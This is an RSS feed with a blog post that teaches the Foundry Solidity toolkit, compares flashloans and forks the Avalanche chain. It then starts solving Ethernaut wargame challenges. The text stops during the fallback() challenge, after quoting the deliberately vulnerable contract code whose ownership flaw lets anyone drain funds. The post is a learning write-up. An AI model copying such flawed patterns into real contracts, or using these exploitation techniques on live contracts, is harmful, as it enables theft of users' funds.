<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>bt3gl's symposium</title>
        <link>https://paragraph.com/@go-outside</link>
        <description>影森のゴーストシェル</description>
        <lastBuildDate>Wed, 27 May 2026 01:43:37 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>bt3gl's symposium</title>
            <url>https://storage.googleapis.com/papyrus_images/bae05fbe56f8263178379028370e32ddf40de4866f8d096799fa101351cc78e9.jpg</url>
            <link>https://paragraph.com/@go-outside</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[on hacking systematically with foundry ]]></title>
            <link>https://paragraph.com/@go-outside/on-hacking-systematically-with-foundry</link>
            <guid>tHK0y97eBfHCW04omWAU</guid>
            <pubDate>Wed, 29 Nov 2023 23:35:56 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over some systems i’ve created in foundry for solving blockchain security challenges. i tend to indulge myself with a pristine code organization && logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts (you can see it for yourself, for instance, with my solution for ethernaut’s wargames). in addition, you can also find some experiments in this repository.🎶 today’s moodhttps://open.spotify.com/track/2B3D38o8GaX...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over some systems i’ve created in foundry for solving blockchain security challenges.</p><p>i tend to indulge myself with a <em>pristine</em> code organization &amp;&amp; logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol"><strong>you can see it for yourself, for instance, with my solution for ethernaut’s wargames</strong></a>). in addition, you can also find some experiments in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-rs"><strong>this repository</strong></a><strong>.</strong></p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/2B3D38o8GaXnZo6DnTyZ2m?si=d7fb579b135944ea">https://open.spotify.com/track/2B3D38o8GaXnZo6DnTyZ2m?si=d7fb579b135944ea</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/0vKVYgC41X7t579rc487OU?si=e844b5239a154b01">https://open.spotify.com/track/0vKVYgC41X7t579rc487OU?si=e844b5239a154b01</a></p><hr><h2 id="h-todays-outline" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">👾 today’s outline</h2><pre data-type="codeBlock" text="0000. intro to foundry and forge
0001. comparison of flashloans on ethereum
0010. historical data on avalanche c-chain
0011. exploiting fallback()
0100. exploiting constructor()
0101. exploiting pseudo-randomness
0110. exploiting tx.origin
0111. exploiting integer overflows
1000. exploiting delegatecall
1001. exploiting payable contracts
1010. exploiting private functions
1011. exploiting transfer(msg.value)
1100. exploiting reentrancy
1101. exploiting interfaces
1110. exploiting interfaces II
"><code>0000. intro to foundry and forge
0001. comparison of flashloans on ethereum
0010. historical data on avalanche c<span class="hljs-operator">-</span>chain
0011. exploiting <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>)
0100. <span class="hljs-title">exploiting</span> <span class="hljs-title"><span class="hljs-keyword">constructor</span></span>(<span class="hljs-params"></span>)
0101. <span class="hljs-title">exploiting</span> <span class="hljs-title">pseudo</span>-<span class="hljs-title">randomness</span>
0110. <span class="hljs-title">exploiting</span> <span class="hljs-title"><span class="hljs-built_in">tx</span></span>.<span class="hljs-title">origin</span>
0111. <span class="hljs-title">exploiting</span> <span class="hljs-title">integer</span> <span class="hljs-title">overflows</span>
1000. <span class="hljs-title">exploiting</span> <span class="hljs-title">delegatecall</span>
1001. <span class="hljs-title">exploiting</span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">contracts</span>
1010. <span class="hljs-title">exploiting</span> <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title">functions</span>
1011. <span class="hljs-title">exploiting</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-built_in">msg</span>.value</span>)
1100. <span class="hljs-title">exploiting</span> <span class="hljs-title">reentrancy</span>
1101. <span class="hljs-title">exploiting</span> <span class="hljs-title">interfaces</span>
1110. <span class="hljs-title">exploiting</span> <span class="hljs-title">interfaces</span> <span class="hljs-title">II</span>
</span></code></pre><hr><h2 id="h-0000-intro-to-foundry-and-forge" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0000. intro to foundry and forge</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/foundry-rs/foundry"><strong>foundry</strong></a> is the <em>de jure</em> blockchain dev toolkit written in my favorite language, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.rust-lang.org/"><strong>rust</strong></a>.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.paradigm.xyz/2021/12/introducing-the-foundry-ethereum-development-toolbox"><strong>paradigm.xyz released it on 12/2021</strong></a>, giving engineers and researchers an exit from javascript 👹 tests on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hardhat.org/"><strong>hardhat</strong></a>. with foundry, tests can now be natively written on solidity.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1c9e340b47ed5bdf7c3eec7187bdd8fbc664041464c012a42f656a88ab66abd9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the <em>go-to</em> reference to get started with foundry is its <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/"><strong>open-source docs/book</strong></a>. the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/getting-started/installation"><strong>installation is straightforward,</strong></a> as long as you have rust and cargo installed.</p><p>foundry’s CLI is called <code>forge</code>, which is the main tool we use. foundry also ships with <code>anvil</code> (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/anvil/"><strong>a tool to create a local testnet node</strong></a>) and <code>cast</code> (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/cast/"><strong>a CLI tool to perform ethereum RPC calls</strong></a>). these three together allow forking and testing by interacting with contracts on a real network.</p><p>most of the time, these are the <code>forge</code> commands you use:</p><ul><li><p><code>forge install/update/remove</code>, to add/update/remove an external dependency (inside <code>lib</code>) using git submodules.</p></li><li><p><code>forge build</code>, to build your project (<em>i.e.</em>, once you have your contracts and tests written).</p></li><li><p><code>forge test &lt;--match-contract --match-test --watch --fork-url etc.&gt;</code>, to run the tests you built.</p></li><li><p><code>forge init &lt;--template&gt;</code>, to start an empty project or to use another github project as a template.</p></li></ul><p>however, <code>forge</code> contains several other utilities:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6ac029b288627897bd14e2b4fc52a97d743c08a511e2587287cc3c744db37944.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-a-typical-foundry-project" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">a typical foundry project</h3><p>a project in foundry usually has the following directories:</p><ul><li><p><code>lib/</code>: any library installed using <code>forge install</code></p><ul><li><p>the <code>forge</code> standard library is installed by default here (<code>lib/forge-std</code>)</p></li><li><p>by the way, libs can be re-configured with a <code>remappings.txt</code> file</p></li></ul></li><li><p><code>src/</code>: where contracts to be tested are</p></li><li><p><code>test/</code>: where you add your solidity tests (<em>e.g.,</em> <code>MyContract.sol</code>)</p></li><li><p><code>scripts/</code>: where you add helpful solidity scripts (<em>e.g.,</em> <code>MyScript.sol</code>)</p></li><li><p><code>out/</code>: created after tests run, contain contract artifacts (<em>e.g.,</em> ABI)</p></li><li><p><code>cache/</code>: created after tests run), present an internal resource so that <code>forge</code> don’t need to recompile everything every time</p></li></ul><p>in addition, you usually see a config file <code>foundry.toml</code> in the root, where you can set the project’s behavior. something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c92af37982f94c028770fd2d9e3c06f2c05d8fd3bb7290760a193553186ba5c0.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-the-basic-gists-of-foundry-tests" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the basic gists of foundry tests</h3><p>simply put, since tests are written in solidity, they either fail if there is a <code>revert</code>, or pass otherwise.</p><p>the basic layout of a forge contract test contains:</p><ul><li><p><code>setUp()</code>, an optional function run before EACH test case</p></li><li><p><code>test_*()</code>, functions with this prefix are used for EACH test function that should pass</p></li><li><p><code>testFail_*()</code>, functions with the prefix are used for EACH test function that should fail (<em>i.e.</em>, it must revert to pass)</p></li></ul><p>and they look like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5c053b569e973f41b1c742ee9ffa3512536fa20440ceb550b24b13b0c79ade86.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>note that forge requires test functions to be either <code>external</code> or <code>public</code>.</p><hr><h3 id="h-manipulating-the-state-of-the-blockchain-with-cheat-codes" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">manipulating the state of the blockchain with cheat-codes</h3><p>foundry’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/cheatcodes/"><strong>cheat-codes</strong></a> give the ability to alter the EVM state and mock data to a specific network state.</p><p>they can be accessed by a <code>vm</code> instance, with attributes like the following:</p><ul><li><p><code>vm.prank(address)</code>: change <code>msg.sender</code> to another address for the next call (<em>e.g.,</em> <code>address(0)</code>)</p></li><li><p><code>vm.expectRevert()</code></p></li><li><p><code>vm.expectEmit()</code></p></li><li><p><code>vm.createFork()</code>, <code>vm.selectFork()</code>, <code>vm.activeFork()</code> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/cheatcodes/forking">others</a></p></li><li><p><code>vm.wrap(block_timestamp</code></p></li><li><p><code>vm.roll(block_number)</code></p></li><li><p><code>vm.free(block_basefee)</code></p></li><li><p><code>vm.prevrandao(block_prevrandao)</code></p></li><li><p><code>vm.chainid(block_chainid)</code></p></li><li><p><code>vm.store(address, slot, value)</code> and <code>vm.load(address, slot, value)</code></p></li><li><p><code>vm.deal(who, new_balance)</code> and <code>vm.deal(token, to, amount)</code></p></li><li><p><code>vm.recordLogs()</code> and <code>vm.getRecordedLogs()</code></p></li><li><p><code>vm.setNonce()</code> and <code>vm.getNonce()</code></p></li><li><p><code>vm.mockCall(address, function_selector, calldata)</code></p></li><li><p><code>vm.coinbase(address)</code></p></li><li><p><code>vm.txGasPrice()</code></p></li><li><p>assertions such as <code>expectRevert()</code>, <code>expectEmit()</code>, and <code>expectCall()</code></p></li></ul><p>for instance, you can override the VM state by simulating older transactions with a certain token balance, a certain block, etc.</p><hr><h3 id="h-advanced-testing-and-features" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">advanced testing and features</h3><p>in forge, you can trace failed tests with <code>-vvv</code> . subtraces will show each call, return value, and the gas used (inside square brackets):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/79cdeda09928eb45b74e700e150742c1c92d899a4812892badffc2f32f6efe43.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><p>foundry also supports several property-based testing, which are tests that look at general behaviors as opposed to isolated scenarios:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/forge/fuzz-testing"><strong>fuzzing</strong></a>: generates different scenarios, random inputs, etc.</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/forge/invariant-testing"><strong>invariant testings</strong></a>: through several <code>runs</code> and <code>depths</code>, this class of testing trials for a set of invariant expressions against randomized sequences of pre-defined function calls from pre-defined contracts.</p><ul><li><p>they can expose faulty logic in protocols (<em>e.g.,</em> false assumptions, incorrect logic in edge cases).</p></li></ul></li></ul><blockquote><p><strong><em>💎</em> </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/horsefacts/weth-invariant-testing"><strong>@horsefacts wrote an awesome guide on invariant tests a few months ago</strong></a><strong>.</strong></p></blockquote><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/forge/differential-ffi-testing"><strong>differential testing</strong></a>: these tests cross-reference multiple implementations of the same function, by comparing each one’s output.</p></li></ul><p>advanced testing suites are a fascinating subject in development and code security, and i would love to spend more time diving into them properly in future posts. for now, here is a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.youtube.com/playlist?list=PLO5VPQH6OWdUrKEWPF07CSuVm3T99DQki"><strong>good reference for learning</strong></a>.</p><p>in addition, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/forge/tests?highlight=tracing#logs-and-traces"><strong>tracing and logging</strong></a>, and foundry’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/misc/precompile-registry"><strong>precompile registry</strong></a> (special contracts at a fixed address within the EVM) are also in my <em>infinite</em> <em>want-to-learn list.</em></p><hr><h2 id="h-0001-comparison-of-flashloans-on-ethereum" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0001. comparison of flashloans on ethereum</h2><p>in this project, we leverage foundry to compare flashloans from lending protocols on ethereum, including deployment cost and deployment size. this experiment is adapted from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Jeiwan/flash-loans-comparison"><strong>@jeiwan&apos;s code</strong></a>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fe607807137e570228d49082461b28178740987cdc24e091bf5ecc0909b6102c.png" alt=".protocol fees at the time this project was written, in 2022. " blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.protocol fees at the time this project was written, in 2022.</figcaption></figure><p>to run this project:</p><ol><li><p>fork <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-rs/tree/main/foundry-flashloans"><strong>my code</strong></a></p></li><li><p>install <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/getting-started/installation"><strong>foundry</strong></a> and a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/latest/installing-solidity.html#installing-the-solidity-compiler"><strong>solidity compiler</strong></a> (we are using <strong>^0.8.16</strong> in this project)</p></li><li><p>export an <code>env</code> variable for an <strong>ethereum RPC URL</strong> (<em>e.g.</em>, from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://app.infura.io/dashboard"><strong>infura&apos;s</strong></a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.alchemy.com/"><strong>alchemy</strong></a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ankr.com/rpc/avalanche/"><strong>ankr&apos;s</strong></a>, or <strong>your own node</strong>):</p></li></ol><pre data-type="codeBlock" text="&gt; export RPC_URL=&lt;RPC_URL&gt;
"><code><span class="hljs-operator">></span> export RPC_URL<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>RPC_URL<span class="hljs-operator">></span>
</code></pre><hr><h3 id="h-the-code" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the code</h3><p>each lending protocol we are testing has its own contract under <code>src/</code>, and they connect together through <code>src/interface.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f4cf25f1306500fc00ccb7e6d583d5091fc67d1389cec5fc34c53b4aa73f191f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is <code>UniswapV2.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/45e5f8f9132f9c5a7155ce176b647f2e897824757cb3cfa71d106fef96ac781d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is <code>UniswapV3.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7d3131097a234a87a76a27dfbf410899abc11fd8e81ede03215435e5c9b1adc3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is <code>Aavev2.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1429cf056c85ff7d3a1d28b314f315ac3a153f37910e425eb41d3fffeed85511.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is <code>Balancer.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f88cc575c36801a4ce016f86dc37554abcd769fa49966f5d182221871cfb1000.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is <code>Euler.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fc2f187bbd5ca9f4d1701f2279965523e68bf3241abe63b8d9e7c7b9a0860f72.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-the-test-file" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the test file</h3><p>we are ready for our first foundry test, under <code>tests/testFlashloan.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cd579ad435c050baff694222770b6f78674c9c0bfbba698e9149dfabee656672.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>simply build the contracts and run with:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/745a82c4a62c32924bfcab871bcb55cbb4641b67fd1b690b5421c9a717a93787.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-pretty-awesome" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pretty awesome ✨.</h3><hr><h2 id="h-0010-historical-data-on-avalanche-c-chain" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0010. historical data on avalanche c-chain</h2><p>in this second example, we leverage foundry’s <code>fork</code> and <code>vm</code> features to analyze EVM-based blockchains. more specifically, we will be inspecting data on the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://subnets.avax.network/c-chain"><strong>avalanche c-chain</strong></a>.</p><p>this boilerplate may be expanded for several purposes, including testing vulnerabilities or extracting MEV data (<em>e.g.,</em> to simulate sandwich attacks in a defi protocol).</p><p>in general, you can fork a blockchain by providing an RPC URL (same as before, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://app.infura.io/dashboard"><strong>infura&apos;s</strong></a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.alchemy.com/"><strong>alchemy</strong></a>, etc.):</p><pre data-type="codeBlock" text="&gt; forge test --fork-url &lt;RPC URL&gt;
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fork<span class="hljs-operator">-</span>url <span class="hljs-operator">&#x3C;</span>RPC URL<span class="hljs-operator">></span>
</code></pre><p>here are some cool things you can set:</p><ul><li><p><code>--fork-block-number</code></p></li><li><p><code>--fork-chainid</code></p></li><li><p><code>--gas-limit</code></p></li><li><p><code>--chain-id</code></p></li><li><p><code>--gas-price</code></p></li><li><p><code>--block-base-fee-per-gas</code></p></li><li><p><code>--block-coinbase</code></p></li><li><p><code>--block-timestamp</code></p></li><li><p><code>--block-number</code></p></li><li><p><code>--block-difficulty</code></p></li><li><p><code>--block-prevrandao</code></p></li><li><p><code>--block-gas-limit</code></p></li><li><p><code>--etherscan-api-key</code></p></li></ul><p>each fork is a standalone EVM (<em>i.e.,</em> they use entirely independent storage). however, the state of <code>msg.sender</code> and the test contract are the same across fork swaps.</p><p>in addition, <code>vm</code> cheat-codes also allow easy ways to modify the chain state at test runtime (for instance, many of the flags above can be simulated with <code>vm</code> as well).</p><hr><h3 id="h-the-test-file" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the test file</h3><p>after defining the desired assets and/or protocols to be researched, we can use the following procedure to write the simulation test:</p><ol><li><p>find out the <strong>methods that trigger price updates</strong> (<em>e.g.,</em> <code>swap()</code> on GMX’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/Router.sol#L88"><strong>router</strong></a>).</p></li><li><p>add/clone all the contracts needed for the methods above to <code>contracts/</code>.</p></li><li><p>use any <strong>blockchain analytics tools</strong> (<em>e.g.,</em> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dune.com/queries/1243615"><strong>dune</strong></a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.avax.network/apis/avalanchego/public-api-server"><strong>avax apis</strong></a>) to search for <strong>past blocks</strong> with the desired feature to be studied (<em>e.g.,</em> by setting a threshold for price movements that could be interesting to look at).</p></li><li><p>create a <strong>list with all the blocks</strong> you find and add them to <code>data/blocks.txt</code>.</p></li></ol><p>here is what my GMX test looks like:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1fe6045a13e6f93ed23abc6bd7626044fc0ab0029ff06d0384c40227683b1b95.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-running-the-test" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">running the test</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2ac3d640f89e1c0d87fa21718e71b2727417c5103c59b36ee52b40b4d730c680.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-0011-exploiting-fallback" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0011. exploiting fallback()</h2><p>cool, now let’s move to my foundry-open-sourced-code-that- i-am-the-most-proud-of.</p><p>for the rest of this post, i will be leveraging (read: solving) ethernaut’s challenges to illustrate hackings and solutions in foundry.</p><p>in this first challenge, we have to exploit a flawed <code>fallback()</code> function to gain control and drain this contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/160e251f140f181cba5a4d9e4cf5d151d61b00788317b100c5bdd811d9aa7310.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the only way to drain the contract is via <code>withdraw()</code>, which can only be called if <code>msg.sender</code> is the <code>owner</code> (because of the <code>onlyOwner</code> modifier).</p><p>this function will transfer all the funds in the contract to the <code>owner</code>&apos;s&apos; address (note that this function is also vulnerable to reentrancy):</p><pre data-type="codeBlock" text="function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    owner.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
}
</code></pre><p>there are two places in the contract where <code>owner</code> is updated with <code>msg.sender</code>: <code>contribute()</code> and the fallback <code>receive()</code>.</p><p>the function <code>contribute()</code> allows the <code>msg.sender</code> to send <code>wei</code> to the contract and to be tracked by the <code>contributions[]</code> mapping variable.</p><p>if the total contribution made by a user is greater than the one by the actual owner, <code>msg.sender</code> will become <code>owner</code>:</p><pre data-type="codeBlock" text=" function contribute() public payable {
    require(msg.value &lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &gt; contributions[owner]) {
      owner = msg.sender;
    }
  }
"><code> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contribute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    <span class="hljs-keyword">if</span>(contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span> contributions[owner]) {
      owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
  }
</code></pre><p>however, the contribution made by the user would need to be greater than <code>1000 eth</code> (to beat the one made by the owner in the constructor):</p><pre data-type="codeBlock" text=" constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
"><code> <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
